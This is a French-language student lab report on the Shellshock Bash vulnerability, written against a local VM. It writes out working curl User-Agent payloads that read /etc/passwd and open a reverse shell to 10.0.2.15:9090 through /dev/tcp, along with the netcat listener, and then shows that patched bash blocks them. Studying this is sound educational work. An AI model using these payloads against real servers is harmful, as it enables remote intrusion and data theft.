Shellshock Attack

Wadii Hajji

Résumé

Lors de ce TP nous allons nous intéresser à la vulnérabilité Shellshock. C'est un bug de Bash qui a été découvert en 2014. Shellshock se produit lors de l'utilisation d'`export` sous Bash, plus précisément au niveau de la fonctionnalité d'export de fonctions. Par conséquent, un attaquant malicieux peut exécuter des commandes sur le système cible localement ou à partir d'une machine distante, s'il trouve un moyen de manipuler les variables d'environnement. Nous allons voir au cours de ce TP comment exploiter cette vulnérabilité.

Task 1 : Experimenting with Bash Function

Une version de `bash` nommé `bash_shellshock` a été installé dans le dossier `/bin/` sur l'image à notre dispoisiton. Tout d'abord, testons que cette version de Bash est effectivement vulnérable à l'attaque Shellshock.

```
$ /bin/bash_shellshock
$ foo='() { echo "hello world"; }; echo "extra";'
$ export foo
$ /bin/bash_shellshock
extra
$(fils) env | grep foo
foo='() { echo "hello world"; }'
```

Au lancement du processus fils, Bash exécute de façon incorrecte le code `echo "extra";`. Lorsque l'export est effectué, Bash *parse* le chaîne de caractère `foo` et la traite comme une fonction, sachant que c'est une chaîne de caractère. Il en résulte qu'il est possible de concaténer plusieurs commandes. `foo` est donc ajouté aux variables d'environnement du processus tandis que `echo "extra";` est reconnu comme une commande : `extra` s'affiche au lancement du processus fils. Ce sont les mécanismes sur lesquels se base l'attaque que nous allons étudier.

Testons maintenant l'expérience sur la version patchée de Bash.

```
$ foo='() { echo "hello world"; }; echo "version patchée";'
$ export foo
$ bash
$(fils) env | grep foo
foo='() { echo "hello world"; }; echo "version patchée";'
```

La vulnérabilité n'existe plus. Toute la chaîne de caractère est correctement ajouté à la variable d'environnement `foo`.

Task 2 : Setting up CGI programs

CGI (***C**ommon **G**ateway **I**nterface*) est une interface utilisée par les serveurs HTTP. Elle permet aux serveurs web d'exécuter certains programmes à la récéption d'une requête HTTP. Le serveur retourne ensuite le contenu générée à l'utilisateur. L'avantage de cette interface est qu'elle est indépendante de tout langage de programmation. Elle utilise les flux standards (`stdin` et `stdout`) et les variables d'environnement. On peut donc écrire un programme CGI en script shell. On crée le fichier `./myprog.cgi` qui contient les données suivantes :

```
1 !#/bin/bash_shellshock
2
3 echo Content-type: text/plain
```

```
4 echo
5 echo
6 echo "Hello world"
```

et on place ce fichier dans le dossier `/usr/lib/cgi-bin`

```
$ sudo cp ./myprog.cgi /usr/lib/cgi-bin/
```

On peut ensuite envoyer une requête au serveur, et on reçoit sa réponse :

```
$ curl http://localhost/cgi-bin/myprog.cgi

Hello world
```

Task 3 : Passing Data to Bash via Environement Variable

On va modifier le fichier `/usr/lib/myprog.cgi` avec les données suivantes :

```
#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "******** Environment Variables *********"
strings /proc/$$/environ #print les variables d'environnement du serveur
```

de la même façon, on effectue une requête au serveur et on obtient les variables d'environnement du shell tournant sur le serveur.

```
$ curl http://localhost/cgi-bin/myprog.cgi
********** Environment Variables ************
HTTP_HOST=localhost
HTTP_USER_AGENT=curl/7.47.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at localhost Port 80</address>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=localhost
SERVER_ADDR=127.0.0.1
SERVER_PORT=80
REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/myprog.cgi
REMOTE_PORT=36174
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/cgi-bin/myprog.cgi
SCRIPT_NAME=/cgi-bin/myprog.cgi
```

Observation Lorsque l'on effectue une requête vers le serveur Apache, on envoie des données propres à notre système telles que :

- le host
- le user-agent

— ...

Le serveur Apache va récupérer ces données (contenues précisément dans l'en-tête HTTP) et les transformer en variables d'environnement. L'utilisateur peut essentiellement contrôler ce qui va être envoyé au serveur et donc ce qui va être transformé en variables d'environnement dans le shell tournant sur le serveur.

Task 4 : Launching the Shellshock Attack

Nous allons lancer l'attaque à présent. Pour cela, nous allons utiliser l'option `-A` de `curl` qui sert à spécifier le *user-agent* ou *agent utilisateur*, c'est-à-dire l'application cliente utilisée pour envoyer la requête. Cette partie va être reconnue comme une série de variable d'environnement puis va être parcouru par Bash. Nous utilisons cette option pour passer des valeurs au serveur et ajouter une commande qui va être lancée sur la machine cible afin d'exploiter la vulnérabilité Shellshock.

— Il est possible d'accéder à des fichiers secrets dans le serveur. Par exemple, on peut voir le contenu de `/etc/passwd` :

```
$ curl -A "() { :; }; echo 'Content-type: text/plain'; echo; echo; /
bin/cat /etc/passwd" http://localhost/cgi-bin/myprog.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
...
```

Cela peut aussi être utilisé pour déposer des *malware* ou des fichiers malicieux dans la machine.

— Il n'est pas possible d'accéder à `/etc/shadow` car ce fichier est protégé par `root`. Cette attaque nous permet uniquement de gagner les privilèges de l'utilisateur du serveur qui a un compte utilisateur spécial, en général appelé `nobody` ou `www`. Il est donc impossible d'accéder aux fichiers qui sont innacessibles à `nobody`.

Task 5 : Getting a Reverse Shell via Shellshock Attack

Jusqu'à présent, nous avons lancé des commandes arbitraires à l'encontre de la machine cible mais le véritable objective des attaquants est de réussir à faire tourner un shell sur la machine ciblé. De cette façon, il leur est possible de lancer des commandes pour aussi longtemps que le shell est en vie. Un *reverse shell* est un processus shell lancé dans une machine donnée tandis que son `input` et son `output` sont controllés par quelqu'un d'autre à partir d'une machine distante. Essentiellement, le shell tourne sur la machine victime mais récupère les entrées de la machine de l'attaquant et *print* aussi l'output dans la machine de l'attaquant. C'est un moyen pratique de lancer des commandes dans une machine compromise. L'objectif de cette tâche est de mettre en place un *reverse shell*.

Dans un terminal, on exécute la commande `netcat -l` afin d'écouter les connexions entrantes dans le port 9090. Et dans un autre terminal on lance la commande `curl` qui va lancer Bash à partir du serveur et va redirigé l'entrée et la sortie sur notre machine.

```
seed@VM$ netcat -l 9090 -v
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.15] port 9090 [tcp/*] accepted (family 2, sport 54738)
bash: cannot set terminal process group (1228): Inappropriate ioctl for device
bash: no job control in this shell
www-data@VM:/usr/lib/cgi-bin$
```

FIGURE 1 – On prend le contrôle du serveur distant et on devient l'utilisateur `www-data`

```
$ curl -A "() { :; }; echo 'Content-type: text/plain'; echo; echo;
/bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://localhost/cgi-bin/myprog.cgi
```

FIGURE 2 – On lance la commande `curl` qui appelle le shell dans la machine distante et le redirige vers l'adresse et le port que l'on écoute

Explication de la commande `/bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1`

- `/bin/bash -i` : l'option `i` signifie interactif, ce qui veut dire que le shell qui sera lancé proposera une invite de commande.
- `> /dev/tcp/10.0.2.15/9090` : cela cause que `stdout` sera redirigé vers le port 9090 de la connexion TCP `10.0.2.15`. Dans les systèmes Unix, le descripteur de `stdout` est 1.
- `0<&1` : 0 est le descripteur de `stdin`. Cette option indique au système d'utiliser `stdout` comme `stdin`. Comme `stdout` est déjà redirigé vers la connexion TCP, cette option indique simplement que le programme shell va récupérer son input à partir de la même connexion TCP.
- `2>&1` : 2 est le descripteur `stderr`. Cela indique que les erreurs seront redirigé vers `stdout` qui est la connexion TCP.

Après quoi, nous prenons le contrôle du serveur distant. À partir de maintenant, n'importe quelle commande que l'on lance dans notre shell `www-data@VM` va directement être exécuter sur la machine cible et nous allons récupérer les résultats de ces commandes sur notre terminal. Nous prenons alors le contrôle de tous les fichiers accessibles par cette utilisateur (`www-data`). Nous avons exploiter Shellshock en utilisant un *reverse shell*. Voici un exemple ci-dessous :

```
www-data@VM:/usr/lib/cgi-bin$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
```

Remarque Le shell *print* la commande indiquée et ensuite effectue la commande. En effet, nous avons lancé le shell depuis la machine cible en spécifiant que l'on voulait l'*input* et l'*output*. C'est-à-dire que tout ce qui est tapé dans le shell de la machine cible va être redirigé vers l'output de notre machine et ensuite exécuté.

Task 6 : Using the Patched Bash

À présent, nous retentons les attaques mais cette fois-ci on remplace la première ligne du fichier `myrprog.cgi`, qui dicte l'utilisation de `#!/bin/bash_shellshock`, par `/bin/bash` qui correspond à la version de Bash qui est patchée et qui ne présente plus la vulnérabilité Shellshock. Voici le nouveau `myprog.cgi` :

```
1 #!/bin/bash
2 echo "Content-type: text/plain"
3 echo
4 echo
5 echo "***** Environement Variables ****"
6 strings /proc/$$/environ
```

Maintenant que le serveur n'est plus vulnérable, réessayons les précédentes manœuvres.

Attaque Shellshock classique L'attaque suivante est l'attaque que nous avons effectué lors de la tâche 4. On utilise `curl` à nouveau avec l'option `-A` pour essayer de soutirer le fichier `/etc/passwd` au serveur.

```
$ curl -A "() { :; }; echo 'Content-type: text/plain'; echo; echo; /
bin/cat /etc/passwd" http://localhost/cgi-bin/myprog.cgi

********** Environment Variables ************
HTTP_HOST=localhost
HTTP_USER_AGENT=() { :; }; echo 'Content-type: text/plain'; echo; echo; /bin/cat /etc/passwd
...
```

On voit clairement que la variable d'environnement `HTTP_USER_AGENT` est maintenant correctement définie. La chaîne de caractère que nous passons en paramètre de `curl` est lu en l'état et non comme une série de commandes. La vulnérabilité Shellshock n'existe plus.

Reverse shell Essayons maintenant de voir si l'on peut toujours mettre en place un *reverse shell* sur la machine distante, toujours avec `/bin/bash` patchée tournant sur le serveur.

```
$ curl -A "() { :; }; echo 'Content-type: text/plain'; echo; echo; /
bin/bash -i > /dev/tcp/10.0.2.15/90>

********** Environment Variables ************
HTTP_HOST=localhost
HTTP_USER_AGENT=() { :; }; echo 'Content-type: text/plain'; echo; echo; /bin/bash -i >
/dev/tcp/10.0.2.15/9090 0<&1 2>&1
...
```

Encore une fois l'attaque échoue. La variable `HTTP_USER_AGENT` est à nouveau correctement définie et l'invocation du shell est reconnu comme étant une simple chaîne de caractère. Le `netcat -l 9090` de l'autre côté est toujours à l'écoute mais, bien sûr, rien ne lui parvient.